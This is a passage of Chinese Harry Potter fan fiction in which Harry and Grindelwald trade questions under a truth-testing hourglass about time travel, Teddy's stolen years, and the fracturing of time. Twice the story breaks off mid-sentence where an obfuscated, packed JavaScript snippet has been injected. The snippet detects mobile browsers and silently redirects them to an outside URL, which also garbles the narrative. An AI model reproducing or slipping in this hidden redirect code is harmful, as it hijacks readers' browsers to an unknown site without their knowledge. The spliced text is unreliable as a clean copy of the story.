“很好,”格林德沃满意地笑了笑,“契约成立。现在我们轮流提问,每当有人发问时,便翻转沙漏——”他做了一个示意的动作,“回答者必须在一分钟内给出答复,若提前说完,轻敲沙漏顶部即可让剩余的沙粒瞬间落尽。” “作为诚意,”他微微颔首,示意哈利先开始,“你可以先来试一试。” 哈利伸手翻转沙漏,金色的沙粒开始落下:“你真的是盖勒特·格林德沃吗?” 格林德沃点了点头,“如假包换。” 沙粒稳定地流淌着,没有一丝异样。他伸手轻敲沙漏顶部,剩余的沙粒迅速滑落。 “轮到我了。”格林德沃翻转沙漏,蓝眼睛直勾勾地盯着哈利,“你的真名是什么?” 哈利知道对方是想让他测试沙漏的有效性,于是故意说了他在这个世界的假名:“哈利·佩弗利尔。” 霎时,沙漏迸出刺眼的红光,整个晶体剧烈震动。 格林德沃露出满意的神情:“很好,看来沙漏确实很管用。那么,哈利·波特,我们现在可以进行真正的对话了。” 哈利再次翻转沙漏,让金色的沙粒重新落下:“第一个问题。你干扰了邓布利多给我的门钥匙,可你人在这个小岛,怎么知道今天会发生什么?” “我是个预言家。”格林德沃的语气带上了一丝自嘲,“我还以为这不是什么秘密。但看来,在你这个年代,它早已成了无关紧要的旧闻。” “预言是一把双刃剑,”格林德沃的目光变得遥远,“你看得越多,束缚便越紧,最终只能眼睁睁地看着预言一步步成真,却无力阻止。” “就像伏地魔一样。”哈利接过话,想起那个彻底改变他一生的预言。 “没错,你看得越清楚,改变的余地就越小。”格林德沃的目光重新回到沙漏上,“至于你的门钥匙,我其实并未直接干扰它。我只是……在它原定路线附近放置了一座‘灯塔’。当伏地魔的力量引起门钥匙魔法的波动时,我设下的坐标就成了最接近的稳定点。我需要在一个足够私密和安全的地方与你面对面交谈,避免被任何不受欢迎的眼睛或耳朵打扰。” 随着他最后一个字落下,沙漏中的沙粒刚好流尽,始终保持着金色的光泽——他所说的完全是真话。 “该我问了。”格林德沃又一次翻转沙漏,蓝眼睛一动不动地盯着哈利,“告诉我,你是从哪一年回来的?” “2003年。”哈利没有丝毫迟疑地答道。 沙粒依旧是金色,稳定而安静地流淌着。格林德沃微微蹙起眉头,似乎在脑中迅速地推演着什么。 哈利迅速接过主动权,再次翻转沙漏,“你呢?你是什么时候来到这里的?这个地方,这个……时代?” 格林德沃的神色变得微妙。 “啊,”他停顿片刻才开口,“这个问题提得很巧妙。如果你问的是我抵达这座岛屿,大概是六个月前的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156447|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但如果你问的是我进入这个时代……” 他眼中流露出一抹复杂的情绪,“比你想象的更早。但那就是另外一段故事了,太漫长了,不适合现在一次讲完。” 沙漏保持着金色,没有任何变化。哈利敏锐地意识到,格林德沃的回答是真实的,但明显有所保留。他显然很擅长利用沙漏的规则,既避免说谎,又不轻易暴露所有的秘密——他拿捏着分寸,游走在真相的边缘,恰好避开了沙漏的警告。 “那么,你和你的教子,又是如何来到这里的?”格林德沃反问道,目光中带着极大的兴趣。 哈利早已准备好这个答案,“神秘事务司,那里有一道帷幔……当时傲罗司正在追捕一批食死徒残党,其中一个劫持了泰迪。”他的拳头不自觉地攥紧,“混战中,我和泰迪一同掉进了那道拱门,等反应过来时,已经是1991年了。” 格林德沃眼中闪过一丝激动,呼吸都急促了几分。他站起身,在逼仄的屋里来回走,像是在努力平复着情绪:“果然,那道拱门不止通往死亡……” 接着,他忽然放声大笑起来。那笑声带着一股难以抑制的兴奋,近乎于疯狂,又转瞬即逝。他摇了摇头,用一只手撑住桌子,目光炯炯地盯着哈利:“死亡之帷……它也能打开时间之门。我猜对了!” 他的蓝眼睛里燃起狂热的光,“你明白这意味着什么吗?传说不仅仅是故事,它是真实存在的。” “传说?”哈利立即抓住机会,迅速翻转沙漏,“你对那道拱门还知道些什么?” 格林德沃平复了些情绪,重新坐回椅子里。他交叠起双手,姿态从容得像一位正在授课的教授,“啊,那道拱门……”他拖长了语调,“神秘事务司那群人几个世纪以来都在研究它,大部分人认为,帷幔的另一边通往的只能是死亡,回归的可能性为零——这个结论极为刻板,也极为无趣。” 他轻笑一声,带着不加掩饰的轻蔑。 “但也有少数人提出过更大胆的猜测。时间与死亡,本就是一体两面。而你的出现……”他看着哈利,眼里闪着奇异的光,“正好印证了我的一些推测。” 哈利的眉头皱得更紧了。格林德沃的回答听起来没有说谎,沙漏的沙粒仍然金色如初,但他敏锐地察觉到了对方在刻意回避某些关键内容。他不禁产生一种被对方操控节奏的无力感。 格林德沃则重新掌控了话题:“下一个问题——除了你和你的教子,还有谁知道你们的身份?完整的名单,这一点非常重要。” 哈利感到本能地警觉起来。他谨慎地回答道:“第一个是邓布利多。我选择了相信他。接着是西弗勒斯·斯内普——”念出这个名字时,他的语气不自觉地缓和了些,而格林德沃则微不可察地挑起了眉。 “他们两个从一开始就知道了。”哈利迅速调整了情绪,继续说道,“后来……我的教父小天狼星·布莱克,他因为某些记忆碎片察觉了真相。还有我的父亲詹姆斯·波特,他通过活点地图发现了异常,那张地图能显示霍格沃兹中每个人的真实名字——他看到了两个哈利·波特。再后来是莱姆斯·卢平,还有……” 他略微停顿了一下:“我的母亲莉莉·波特,就在今天。” “人数不少。”格林德沃的表情变得凝重,“每多一个知情者,风险就会成倍增加。不过,也可能会带来新的转机……但我还是建议你,暂时不要再让更多人发现你的来历。” “我会记得你的建议的。”哈利翻转了沙漏,不想在那个话题上停留太久,“但我还是想不明白,你究竟为什么要帮我?我们素不相识,立场也截然不同。” 格林德沃嘴角浮现一抹苦笑,“帮助?年轻人,我从不相信无私的援手。我只是在寻找……” 他沉默了良久,直到沙粒几乎流尽,才继续说道:“一个能理解某些真相的人。而你,很可能就是那个人。” “因为我们都是时间的闯入者。”他声音放低了些,“都是不该存在于这个时代的人。” 不知道为什么,哈利从格林德沃的话里听出一丝掩藏的孤寂。他自己也因为时间旅行而失去挚友——罗恩、赫敏——那种被时间割裂的滋味他再清楚不过。可他还有泰迪在身边,还在这时代找回了家人、朋友,甚至有了爱人。然而眼前的格林德沃呢?孤零零地困在这座偏远的岛屿上,像一只永远被排除在时间洪流之外的幽灵。 “你对时间旅行怎么看?”格林德沃翻转沙漏,抛出一个看似平常的问题。 哈利沉默了一会儿,目光落在自己交握的手上,“我……” 他抬起头,迎上格林德沃的视线。在石屋微弱的光线下,这位曾经叱咤一时的黑魔王,此刻就像个疲惫的老人,“老实说,我不知道。” “有时候,当我看到那些原本已经离开我的人又活生生地站在面前——我的父母、小天狼星、莱姆斯、邓布利多……还有西弗勒斯,”哈利极轻地念出最后一个名字,“我觉得,这可能是命运的馈赠,让我再一次拥有他们。” 他眉头皱起,神色间满是挣扎:“可是更多的时候,我觉得自己像个小偷,窃取了本不属于我的时光。甚至,我还害怕这一切都是假的,害怕一眨眼或者稍稍迈错一步,他们又会永远离开我……” 格林德沃静静听着,一直未曾插话。直到哈利说完,他才微微点头,“可你还是选择继续往前走。” “因为逃避只会让一切变得更糟。”哈利扯出一抹苦笑,“与其被恐惧困住,我宁愿面对它。”他抬头看着对面的老人,“所以,你把我带到这个与世隔绝的地方,不只是为了交流‘时间旅行者’的心得吧?你到底想要做什么?” 哈利已经不再去计算问题的次数了。他迫切地需要真相。 格林德沃站起身,走到那面贴满羊皮纸的墙边,手指沿着那些复杂的图表和计算轻轻划过。 “你觉得,你和你的教子来到这里,仅仅是个意外吗?”他背对哈利,“你以为只有你在承受这种命运吗?” 他转过身,眼中透着近乎狂热的清醒,“不,哈利·波特。我们都是被困在时间迷宫里的老鼠。唯一的差别在于——” 他一步步逼近哈利,最终在桌子旁站定,双手撑在桌上,俯身望着对方:“我比你多绕了几圈,多撞了几堵墙,也比你更早摸清了迷宫的轮廓。” “而现在,”格林德沃直起身,凝视着哈利的眼睛,“我准备告诉你一些重要的事情——关于这个世界正在发生的变化,关于那些极其危险的裂缝,还有你体内那些本不该存在,却偏偏真实存在的东西。” 哈利隐约感到额头的伤疤又开始隐隐作痛。 “如果你真的想保护你在意的人。那么了解真相,就是你唯一的出路。” 他退回椅子上坐下,姿态重新变得从容。 “而我,恰好是为数不多还在寻找真相的人之一。”格林德沃微微一笑,“现在,让我们继续吧——你我彼此,都还有很多重要的问题,需要得到答案。” 110. 时间裂痕(下) 血契沙漏中的金色沙粒静静淌下。哈利的视线落在那些细小的光点上,心脏在胸腔里沉重地跳动。他隐约感到,接下来要听到的,将彻底颠覆他对世界的认知。 “你的意思是,还有别人?其他时间旅行者?” 格林德沃并未立刻回应。他缓缓伸出手,指尖轻触沙漏边缘,将它翻转过来。 “现在是我的提问时间。”他倚靠在椅背上,双手交叠搁在膝头,“不过,既然你这么急着知道……那让我问你一句:在这个被改变了历史的世界里,你觉得还有谁称得上‘特殊’?” 这种故意绕圈子的方式让哈利感到一阵烦躁。他要的是答案,而不是猜谜。 “伏地魔。”他脱口而出,“他改变了原有的轨迹。按照我知道的历史,他该在1981年10月31日来杀还是婴儿的我。可他没那么做。他选择了销声匿迹,直到……”哈利略一停顿,“还有小天狼星。他脑子里有些不该属于这时间的记忆片段。我想过,他也坠入过那道帷幔,也许他——” “停。” 格林德沃抬起一只手,直接打断了他的猜测,“我给你一个简单的事实。目前在这个世界上,真正意义上的时间穿越者只有三个人。” 他伸出手,依次竖起三根手指:“我。你。还有你的教子。” “至于其他人,不过是接收到了一些时间残留的印记。” 他指尖在空中划了个圈,“把时间想成一片平静的湖。当我们这些不速之客坠入其中,难免掀起波纹。有些人——比如你提到的伏地魔,还有你的教父——他们的灵魂恰好对这种波动格外敏感。于是,一些不属于他们的记忆就这样渗透进来。但这不意味着他们经历过时间旅行。他们只是恰好站在了水花溅起的地方,沾了点水罢了。” “可为什么偏偏是他们?”哈利伸手拨动沙漏,急切地追问,“为什么不是别人?邓布利多就没接收到任何记忆片段。对了!”他忽然想起,“还有多比!它也看到了未来的碎片。它可是家养小精灵!” “因为共鸣。”格林德沃沉声开口,“那些记忆碎片需要一个附着点。那些‘沾了水’的人,他们的灵魂必须早已被刻上了深刻的痕迹。想想看——你的教父,他为什么会对时间的涟漪如此敏感?” 哈利沉默了。他已经猜到了答案——小天狼星坠入了死亡帷幔。那虽是通往死亡的路,但按格林德沃的说法,那扇拱门本身就连接着时间的秘密。 “看来你已经明白了。”格林德沃观察着他的表情,然后轻描淡写地补充道,“至于那个家养小精灵,它的魔法源于最古老的契约和情感,那份超越生死的忠诚,本身就是灵魂最深的烙印。还有——”他看了哈利一眼,“灵魂分裂的人。” “伏地魔。”哈利立刻反应过来。 “正是。”格林德沃露出一个冷笑,“他的灵魂支离破碎,每个碎片都比完整的灵魂更加敏感,更容易捕捉到那些细微的异常。当你穿越时间的那一瞬间,确实有一部分记忆传递给了他。他分裂的灵魂像一张网,敏锐地捕捉到了这些来自未来的记忆碎片,甚至比你们踏入这个时代更早地知晓了一些未来的秘密。” 哈利皱起眉头:“但为什么是他?为什么记忆会传递给伏地魔,而不是其他人?” “这涉及更深层的原因。”格林德沃没有正面回答,反而转移了话题,“不过,不管是伏地魔还是你的教父,对这些人来说,他们只是凭空多了一段不属于这里的记忆,对他们本身没有什么影响。但对于我们这些真正的穿越者……” 他的目光陡然变得锐利:“时间可没那么宽容。说到这个——你的教子,泰迪·卢平,来到这里后有什么变化?” 哈利迟疑了片刻。泰迪的能力太过独特,他拿不准该透露多少。当然,他可以回避这个问题。但这种犹豫转瞬即逝,因为这个问题同样触及了他心底最深的忧虑——泰迪身上的变化究竟从何而来?究竟是好是坏?这正是他一直以来想弄明白的。眼前的人,或许能给他一个明确的答案。 “他长大了六岁。”哈利挑了最显眼的变化说,“从一个不到六岁的孩子,突然变成了十一岁。还有……他获得了一种特殊的感知能力。” 格林德沃猛然坐直了身体,之前那种漫不经心的姿态完全消失了。 “长大六岁?”他喃喃重复着,“整整六年的时间跨度!” 没等哈利开口,格林德沃的魔杖已经出现在手中。他在空中挥动起来,闪着蓝光的复杂符文接连浮现,在空中飞快地旋转、组合、分解。 “这是什么?”哈利站起身,被对方的激烈反应吓了一跳,“这是时间旅行的副作用吗?泰迪他——” “副作用?” 格林德沃发出一声尖利的轻笑,像是听到了什么天大的笑话。 “不,孩子。”他挥手驱散了那些符文,转身面对哈利。“这不是副作用,这是法则。” 他双手按住桌面,俯身凑近,与哈利的脸只有一尺之遥:“听清楚了,哈利。你的教子不是‘长大了’六岁。他是被夺走了六年。六年的生命、记忆、童年——全被时间当作过路费拿走了。” “而作为代价,”他的嗓音压得极低,“那种感知能力应该是一个烙印。时间在他身上留下的标记,提醒所有人——包括时间本身——这个孩子不属于这里。” 哈利感到血液在血管里冰冷地流动。他想到泰迪,那个总是笑容灿烂、用善意温暖每个人的男孩,昨天还在为掌握的咒语不够多而苦恼——一个十三岁孩子该有的烦恼。他根本不知道自己失去了什么。 “不。”哈利摇头,嗓音微微发颤,“他刚刚找回了自己的父亲,莱姆斯以后会一直陪着他,看着他长大。他在霍格沃兹有了朋友,成绩也不错——” “凭什么?”他一拳砸在桌上,绿眼睛里燃起怒火,“凭什么要这样对待一个孩子?他做错了什么?” “因为他是真正的异类。”格林德沃的神情透出几分悲悯,“你和我,不过是回到了过去。可你的教子……他闯进了一个不该有他的时代。在这条时间线上,他甚至还没出生。时间对这种存在格外苛刻。它必须确保平衡,所以……” “我理解你的心情,哈利。”他的语气缓和了些,“但愤怒改变不了什么。如果你想保护他,就必须理解这个‘标记’的本质。我们现在只知道时间给他打下了印记,但他的‘未来’会怎样,谁也说不准。”格林德沃接过沙漏翻了过来,“告诉我,那个能力具体是什么?” 哈利用力咬着牙关,竭力压住胸口的起伏。格林德沃说得对——愤怒帮不了泰迪。 “他能够——”他深吸一口气,“通过直接的身体接触,感知一个人最本质的东西。不是那些表面的情绪或想法,是直接感知……灵魂的形态。” 格林德沃眼里闪过一丝光芒,“灵视。”他低语道,“我早该猜到。” 见哈利一脸茫然,他解释道:“那是种极为罕见的天赋,通常只偶尔出现在触及生死边缘的人身上。你的教子在穿过时间裂缝时,恐怕真的……” 他没有说完,但哈利明白了。泰迪在那个过程中,或许曾经无限接近死亡。 “等等。”一个念头掠过哈利的脑海,“按照你的理论,那我——” 他也死过一回。在禁林里,伏地魔的杀戮咒下。他到过那个白色中转站,见过邓布利多,甚至瞥过伏地魔灵魂碎片的残骸。可他没得到什么“灵视”。 “你在想自己。”格林德沃看透了他的心思,“你也死而复生,却没有这能力。” 哈利点了点头。 “那是因为你们的‘死亡’完全不同。”格林德沃的眼神沉了下来,“你的教子是在时间的裂缝中被撕扯,他的灵魂被迫暴露在最原始的虚无中。而你……” 他顿了顿:“你的死是有意安排的,是受到保护的。我说过,这种能力极其罕见,不是每次碰触死亡都能获得。但在你教子身上,它不是天赋——是烙印的一部分。灵视让他看透本质,却也让他背负了这个年纪不该有的重量。” 石屋里静了下来。哈利的思绪乱成一团——关于泰迪,关于时间,关于这一切的起因。 “这一切,”他抬手翻转了沙漏,凝视着格林德沃,想从那张满是皱纹的脸上觅得些许线索,“和你有关吗?我和泰迪来到这个时代,是你做的吗?” 出人意料地,格林德沃愣了一瞬,随即爆发出一阵大笑。 哈利不安地看着他,摸不清是什么戳中了这个前魔王,引发如此激烈的反应。 “有关系?”好一会儿,格林德沃才止住笑声,“哦,我亲爱的孩子,你真是太看得起我了。” 他站起来,摇摇晃晃地走到石屋中央,张开双臂,像个落魄的国王在展示他可怜的领地:“看看这儿!看看我的‘王国’!如果我真能操控时间、安排命运,你觉得我会窝在这破地方,像条被遗弃的老狗一样,等待一个可能永远不会到来的机会吗?” 他的声音越来越大,最后几乎是在咆哮:“不!你们的到来对我来说也是个意外!一个完全超出我预料的、该死的、绝妙的意外!” 格林德沃踉跄着走回椅子旁,重重坐下。那一阵爆发似乎耗尽了他的气力。 “不过也许……”他的声音轻了下来,“正因为是意外,才有了希望。我所有的计划都失败了,每一个精心设计的谋略都化作泡影。也许……只有这种不在任何人掌控中的变数,才能真正改变什么。” “邓布利多知道你们来自未来,是吧?”格林德沃恢复了平静,继续他的提问,“关于时间,关于你们的处境,他是怎么说的?” 哈利迟疑了一下。“他说时间像一条河,后来的会覆盖前面的。”他停顿片刻,不确定该如何解释,“不知道你有没有听说过麻瓜的磁带?就是一种能录下声音的东西——邓布利多认为,时间或许就像磁带录音,新录的声音会覆盖旧的。” 听完后,格林德沃的表情变得无比复杂。 “还是那个阿不思。”他轻声说道,“哪怕信息不全,也能如此接近真相。他说的没错,但还不够。” 他的目光越过哈利,落在远处某个看不见的点上:“时间可不只是一条河那么简单。如果是河,为什么有些石头任凭水流冲刷也纹丝不动?如果是磁带,为什么有些声音即使被覆盖了还能留下回音?” “那邓布利多知道你在这里做什么吗?”哈利插话,翻转了沙漏,紧盯着格林德沃,“他知道你是时间旅行者吗?” 格林德沃的身体微微一僵,脸上露出一个古怪的表情:“不。”他生硬地回道,“我们选择了不同的道路。他相信接受与牺牲,而我……我还在寻找可以改变那个结局的第三条路。” 沙漏骤然发出刺眼的红光,水晶剧烈颤动,将整个房间笼罩在血色光芒中。 “你在撒谎!”哈利震惊地站起来,目光惊疑不定地在他和沙漏之间游移。 格林德沃盯着那闪烁的红光,神情变得微妙。“有意思。”他轻声说,“看来血契对‘真实’的定义比我想象的更严格。” 他抬眼看向哈利:“我没有撒谎,但有些话现在还没到说的时候。至于邓布利多——”他停顿了一下,选择着措辞,“他确实还不知道真相。” 红光依旧在闪烁。 “……在这个时间点上。”格林德沃补充道,“这也是为什么我必须格外小心。” 光芒终于开始消退。 “问点别的吧。”老人的声音里有种说不清的疲惫,“你可以再问一个问题。” 沙漏恢复了金色。哈利开口,“那告诉我,你到底经历了什么?为什么你会知道这么多?” 格林德沃的目光变得遥远。 “我经历了什么?”他慢慢重复这个问题,“我经历过比失败更可怕的东西,孩子。成功后的崩塌,希望后的绝望……” “我曾以为自己握住了扭转一切的钥匙。只要够强、够聪明、够……不择手段,就能逆转注定的结局。” “结果呢?”他嘴角一撇,自嘲地笑了一声,“我发现自己只是从一个笼子跳进了更大的牢笼。我想留下的东西都会以另一种方式失去。” 他抬起头,蓝色眼眸里透着无尽的疲倦:“到最后我才明白——我们都是时间的囚徒。我们以为在改写戏码,其实不过按另一出剧本演下去。” “哈利·波特。”格林德沃一转沙漏,声音突然变得无比严肃,“接下来的问题,你可以选择跳过。但我希望你能诚实面对。” “如果现在有机会回到2003年,回到你原来的时间线——代价是这里的一切都会被抹去,包括你建立的所有新关系——你会选择回去吗?” 这个问题让哈利整个人僵在那里。 回去……意味着一切重归旧轨。他能再见成年的罗恩和赫敏,回到战后的平静日子,那个一切已成定局的世界。 罗恩和赫敏。 他最好的朋友,他的家人。 他已经多久没敢真正想起他们了?在这里,他们只是两个需要他指导的学生。看着小赫敏在课堂上侃侃而谈,他会恍惚想起另一个赫敏——那个总能在最绝望的时刻找到答案的女孩。看着小罗恩和泰迪窃窃私语,他会好像看到那个永远站在他身边的兄弟。 那种只属于他们三人的亲密无间,那种不需要言语就能理解彼此的默契,永远留在了那个回不去的未来。 他一直告诉自己别再想了。把那份思念压在心底最深处,锁起来,钥匙扔掉。毕竟他们都好好地活着,只是在另一个他永远无法回去的时间里。 可现在,格林德沃把一个选择摆在他的面前。如果他能回去…… 但回去也意味着—— 他的父母依然长眠在戈德里克山谷,从未有机会看着他长大。 小天狼星还是会在1996年坠入帷幔,带着对他的愧疚和爱。 邓布利多还是会在1997年殒命天文塔上,死在他最信任的人手中。 斯内普还是会在尖叫棚屋咽下最后一口气,带着“永远”的秘密离去。 还有多比、弗雷德、卢平和唐克斯,以及更多的名字,更多的面孔。 还有…… 他想起莉莉说“等他回去”时的眼神,想起小天狼星承诺“这次绝不丢下他”的坚定语气。 又想到昨夜地窖里的暖意,斯内普那炽热的吻,和他轻唤“哈利”时的低柔。 这些刚萌芽的情感,这些费尽心力重新建立起的联系,全都会化为乌有。 哈利的手在桌下紧紧地攥成拳。沙子在不断流逝,每一粒都在催促他做出选择。 “我……”他声音沙哑,“我选择跳过。” 格林德沃脸上浮现一丝了然。 “看吧。”他轻声说,“你已经在这里扎根了。结下了新的牵绊,开辟了新的可能。你再也无法轻易抽身。” 哈利垂着头,一言不发。 格林德沃翻转沙漏,准备继续下一个问题。 “我回不去了。” 哈利突然开口,声音轻得像是在对自己说话。 格林德沃的手停在半空。 “我不会回去。”哈利抬起头,“我不能让他们再死一次。” “终于坦白了。”格林德沃缓缓放下手,“你不再是那个单纯想要拯救世界的救世主了。现在的你有了私心。不过,虽然你回答了,下个问题还是我的。”他的语气骤然尖锐,“穿越之后,你身上有什么变化?” 哈利的手不由摸向额头。那道伤疤,那根死去的魔杖,还有…… “跳过。”他低声说。 “不。”格林德沃的拒绝斩钉截铁,“这个问题你不能逃避。” 哈利抬起头,眼中闪过怒意:“规则允许我——” “规则?”格林德沃打断他,语气透着危险的平静,“你以为我们在玩游戏吗,哈利?你以为逃避就能改变什么?” “你不敢面对的,正是你最需要理解的。那个孩子——这个时间线的小哈利·波特——他的死一直在折磨你,不是吗?” 哈利的呼吸一滞。 “我猜每个人都在安慰你。”格林德沃继续,“告诉你这不是你的错。” “够了。”哈利的声音在颤抖。 “还不够。”格林德沃站起来,居高临下地俯视着他,“他们的安慰有用吗?当你一个人的时候,当夜深人静的时候,你能说服自己这不是你的错吗?” 哈利闭上眼睛。他想起自己醒来时看到的第一个画面——那个孩子已在詹姆斯怀中合上双眼。当他再次醒来时,床上已经空了。邓布利多告诉他,孩子走得很安详,在梦中飞向了天空。 可他什么也做不了。 “我……”哈利的声音哽在喉咙里。 “说出来。”格林德沃的语气不容抗拒,“说出你心底的想法。” “是我的错。”哈利终于崩溃了,“他是因为我而死的!那孩子还有整个人生——” 泪水模糊了他的视线。是的,邓布利多早就告诉他是时间的法则,小天狼星也说这不是任何人的错,西弗勒斯劝他不必自责。他以为自己已经接受了,以为时间会冲淡一切。 可是没有。 有时候当他看到镜子里自己的脸,那种愧疚还是会无法阻止地汹涌袭来。 “很好。”格林德沃的声音意外地柔和了一些,“你必须面对这个真相,只有接纳它,你才能驾驭它,而不是被它控制。” 他坐回椅子,“我可以清楚地告诉你,同一时空不能存在两个相同的灵魂,这是铁律。如果他不死,死的就是你。你明白这一点吗?” “我宁愿死的是我!”哈利几乎是吼出来的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156448|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “天真。”格林德沃摇头,“如果死的是你,你觉得事情会变好吗?伏地魔依然强大,你的亲友照样可能丧命,而那个十一岁的孩子得独自面对一切。” 他的眼神沉得像无底深渊:“更重要的是——为什么是你活下来了?为什么时间选择了你而不是他?你有没有想过这个问题?” 哈利愣住了。他从来没有从这个角度思考过。 “因为你更强大。”格林德沃缓缓说道,“时间总是选择更有力量的那一个。这可不是什么道德上的选择,或友好的谦让,而是赤裸裸的……适者生存。你经历过战争,魔力强大,掌握了更多魔法,有着更坚韧的意志。而他只是个刚学魔法没多久的孩子。” 他语气冷了下来,“我们和你的教子不同。泰迪·卢平在这个时代本不存在,所以时间给了他标记。而我们——我们在这个时代是存在的。时间对我们施加的不是标记,而是另一条更残酷的法则。它不允许同一灵魂的存在,它不在乎公平,只在乎结果。” “那我只能眼睁睁看着他去死吗?那你呢?”哈利的声音止不住地颤抖,但不只是悲伤,里面还有愤怒,“告诉我,格林德沃!当你面对另一个自己时,你是怎么做的?坐下来好好商量,扔个硬币决定谁留下?还是来一场决斗,胜者为王?” 格林德沃缓缓倚回椅背,脸上浮现一抹难以捉摸的神色。 “商量?”他轻声说,“不,那太浪费时间了。” 哈利紧紧盯着他,等待答案。 格林德沃闭上眼睛,像是在回忆什么极其遥远的往事,“我回来的第一天,”他说话时,语气平静得令人不寒而栗,“我站在纽蒙迦德最高的塔楼上,俯瞰牢房里的那个我。” 哈利愣了一下。 “他蜷缩在角落里。”格林德沃接着说,眼神飘向远处,“噬乐鬼早已吸干了他的快乐,只剩一具空壳。他靠着它们制造的幻觉苟活——在梦里,他还是那个意气风发的少年,还在他一生中最美好的那个夏天。” 他的指尖在桌面轻叩,“可怜,不是吗?一个曾经让整个欧洲战栗的人,现在却只能在虚假的梦境中寻找一丝安慰。” “所以你……”哈利不敢说出那个词。 “我给了他解脱。”格林德沃语气毫无波澜,“一个阿瓦达索命咒。让他在最美好的梦中离去,永远不必醒来面对现实。” “你这个疯子!”哈利站了起来,浑身颤抖,“你杀了他!你亲手杀了另一个自己!” “是的。”格林德沃纹丝不动,“因为我知道,如果不这么做,死的就是我。我还有不得不完成的事,所以我必须在时间作出选择之前就先下手。” “残忍?也许。但至少他死得毫无痛苦。”他的目光穿透哈利:“你以为你比我仁慈吗,哈利?你选择让那个孩子慢慢死去,让他经历恐惧、迷茫和痛苦。而我——我给了他一个干脆的结束。” “不一样!”哈利怒吼着,“我没有选择!我昏迷了!当我醒来时他已经——” “没有选择?”格林德沃截住他的话,“如果你没有昏迷,如果你清醒着面对那个孩子,你会怎么做?眼睁睁看他衰弱下去?还是……” “住口!”哈利的魔力彻底失控了,桌上的茶杯瞬间炸成碎片。 格林德沃看着飞散的碎片,露出一个悲哀的笑:“看吧,你甚至无法面对这个假设。” 他一挥魔杖,碎片重聚如初。 “最后一个问题,哈利。”格林德沃开口,“你的伤疤里藏着的东西——它不只带来疼痛,对吧?” 哈利的手又摸上了额头。他知道格林德沃指的是什么。那片本该在禁林中被摧毁的灵魂碎片,如今又像寄生虫一样蛰伏在他体内。 “回答我。”格林德沃的嗓音低沉,却带着不容置疑的压迫。 “我不知道你在说什么。”哈利咬紧牙关,决定拒绝回应他的任何问题。 但沙漏已经发出了红光—— 两股强大的魔力在两人之间激荡。血契沙漏剧烈震颤,水晶表面爬满裂痕,随着一声脆响,碎成无数光点。 两人都在喘息。格林德沃闭了闭眼,再睁开时,看起来突然苍老了许多。 “契约破碎了。”他疲惫地说,“看到了吗?就连最古老的契约魔法,也无法承载我们谈论的真相。因为时间……不喜欢被触碰,更不喜欢被改变。每一次我们试图揭开它的秘密,都会付出代价。” 哈利还在大口喘气,胸口剧烈起伏。 他知道自己在逃避什么。从格林德沃提起伤疤的那一刻起,他就知道。只是承认它意味着承认更可怕的事——他没有真正摆脱过去。 “伏地魔的灵魂碎片……”他终于承认,嘶哑着说,“它还在。本该被毁掉的东西,现在又回来了。” 格林德沃点点头,“这又证实了我另一个猜想。”他站起身走到桌边,拿起桌上的空茶杯,“我曾经天真地以为,时间就像阿不思说的那样——一条可以改道的河流。但我错了。每一个异常的变化,都是时间无法消化的异物,都是一道裂缝。” “什么裂缝?”哈利强迫自己冷静。 格林德沃没有回答。他将茶杯搁在桌上,抽出魔杖。 “让我给你看些东西。”他用杖尖敲击杯沿,发出一声清脆的响声,“听见了吗?完美的共鸣。这就像时间原本的样子——平衡、完整,一切都按照既定的规律运行。” 他在杯身上划出一道几乎看不见的细纹:“现在,假设这是时间第一次被改变。一条不起眼的裂纹,似乎无害,对吧?杯子还能盛水,不细看根本察觉不出瑕疵。” 又一道裂痕浮现,“在时间这个庞然大物面前,最开始的这些裂纹微不足道。” 然后更多。“可当时间被一再改动,异象就冒出来了。比如你体内那复苏的灵魂碎片,它本不该存在,却卡在时间的缝隙里无法消失。你不是很好奇,为什么你的穿越会把记忆传送给伏地魔吗?”他目光锐利,“因为这片灵魂重新连接起了你们。” 裂纹开始蔓延,像蛛网一样在瓷器表面扩散。越来越密,越来越深。 格林德沃不再说话,只是看着。 哈利也盯着那个杯子,看着裂纹如何一点点吞噬了原本光洁的表面。 “当裂缝达到临界点——” 格林德沃的指尖在杯沿上轻轻一弹。 茶杯无声碎裂,化作沙尘般簌簌崩解,碎片在桌上围成一个完美的圆。 “这便是我们可能面对的未来。”格林德沃凝视着那些碎片,“时间真正崩塌时,不会惊天动地。它会像这杯子一样,悄然解体。” “那一刻到来时,所有被时间分隔的东西都会混在一起。过去、现在、未来,生者、死者、从未存在过的可能性……全部会在同一个瞬间爆发。到那时,这个世界会变成什么样子,没有人知道。” 哈利盯着桌上的碎屑,感到一阵彻骨的寒意。“所以你是说,情况会越来越糟?我们注定要走向毁灭?” “我是说,”格林德沃挥动魔杖,碎片重新聚合,“如果任由这些裂痕扩张,如果我们继续肆意地改变时间,终有一天,这个杯子会碎得无可挽回。” “我花了太长时间才明白这个道理。”他的声音里带着深沉的悔意,“太长了。” 修复好的茶杯静静立在桌上,仿佛从未破碎过。 “每一次‘修正’都只会制造新的裂缝。每一次试图改变过去,都会让未来变得更加脆弱。” 他望向哈利,眼神骤然一凛,“所以眼下,伏地魔虽然是那个最大的异常,却不是最要紧的。关键在于,怎么阻止这杯子继续碎下去。” “但这怎么可能?”哈利忍不住问,“时间已经被改变了。” 